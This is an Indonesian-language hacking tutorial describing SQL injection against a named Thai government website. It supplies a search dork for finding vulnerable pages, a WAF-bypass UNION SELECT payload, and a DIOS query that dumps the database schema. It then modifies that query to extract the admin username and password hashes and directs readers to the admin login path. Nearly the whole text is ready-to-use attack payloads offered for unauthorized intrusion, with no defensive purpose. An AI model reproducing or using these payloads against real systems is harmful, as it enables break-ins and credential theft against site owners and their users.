SQL Injection Website Pemerintahan Thailand

Hy Teman - Teman Ane dapat Dork Vuln Sqli di Site Thailand, Dan yang mengeksekusinya Si VpoXrz Langsung aja yaa ke caranya.

Bahan Bahan : 

• Dork : inurl:/admin1.php?content_id=
• Query Inject Database : /*!12345make_set*/(6,@:=0x0a,(select(1)/*!12345from*/(/*!12345information_schema.columns*/)where@:=make_set(511,@,0x3c6c693e,/*!12345table_name*/,/*!12345column_name*/)),@)
• Path Admin : /admin/login.php
• Kesabaran <-- ingat

Caranya :

1. Seperti Biasa Dorking dulu.
2. Pilih Target dan Cek vuln caranya tambahkan ' di idnya.
   contoh : http://www.tbhuaimek.go.th/admin1.php?content_id=11'
   


3. Btw Ini Web Terlindungi Oleh Waf Jadi Harus di Bypass Dulu.Untuk Membypassnya Kalian Gunakan DIOS Waf Bypass Dibawah ini :
   
   %27+AND+0+/*!50000UniON+SeLeCt*/+1,2,3,4,/*!50000cOnCat(0x3c696d67207372633d2268747470733a2f2f6672657a7a67616e73312e66696c65732e776f726470726573732e636f6d2f323031392f30392f313536383839373536333235372e706e67222077696474683d2235302522206865696768743d22353025223e,0x3c62723e,0x3c683120636f6c6f723d22677265656e223e496e6a65637465642042792056706f58727a3c2f68313e)*/--+-
   


4. Jika Sudah masukkin maka muncul tuh angka di pojok kanan atas, disitu kita akan menginject databasenya menggunakan DIOS :
   
   /*!12345make_set*/(6,@:=0x0a,(select(1)/*!12345from*/(/*!12345information_schema.columns*/)where@:=make_set(511,@,0x3c6c693e,/*!12345table_name*/,/*!12345column_name*/)),@)
   


5. Tulisan yang berada di sebelah kiri nantinya kita gantikan pada query information_schema.columns yang berada di DIOS. Sedangkan tulisan yang berada di sebelah kanan kita masukkan pada query table_name dan column_name. gantikan information_schema.columns dengan user. Untuk table_name ganti menjadi user_name dan column_name ganti menjadi user_pass. Menjadi Seperti ini :
   
   %27+AND+0+/*!50000UniON+SeLeCt*/+1,2,3,/*!12345make_set*/(6,@:=0x0a,(select(1)/*!12345from*/(/*!12345user*/)where@:=make_set(511,@,0x3c6c693e,/*!12345user_name*/,/*!12345user_pass*/)),@),/*!50000cOnCat(0x3c696d67207372633d2268747470733a2f2f6672657a7a67616e73312e66696c65732e776f726470726573732e636f6d2f323031392f30392f313536383839373536333235372e706e67222077696474683d2235302522206865696768743d22353025223e,0x3c62723e,0x3c683120636f6c6f723d22677265656e223e496e6a65637465642042792056706f58727a3c2f68313e)*/--+-
   
   
6. Maka muncul Account adminnya.




Sisanya kalian login aja.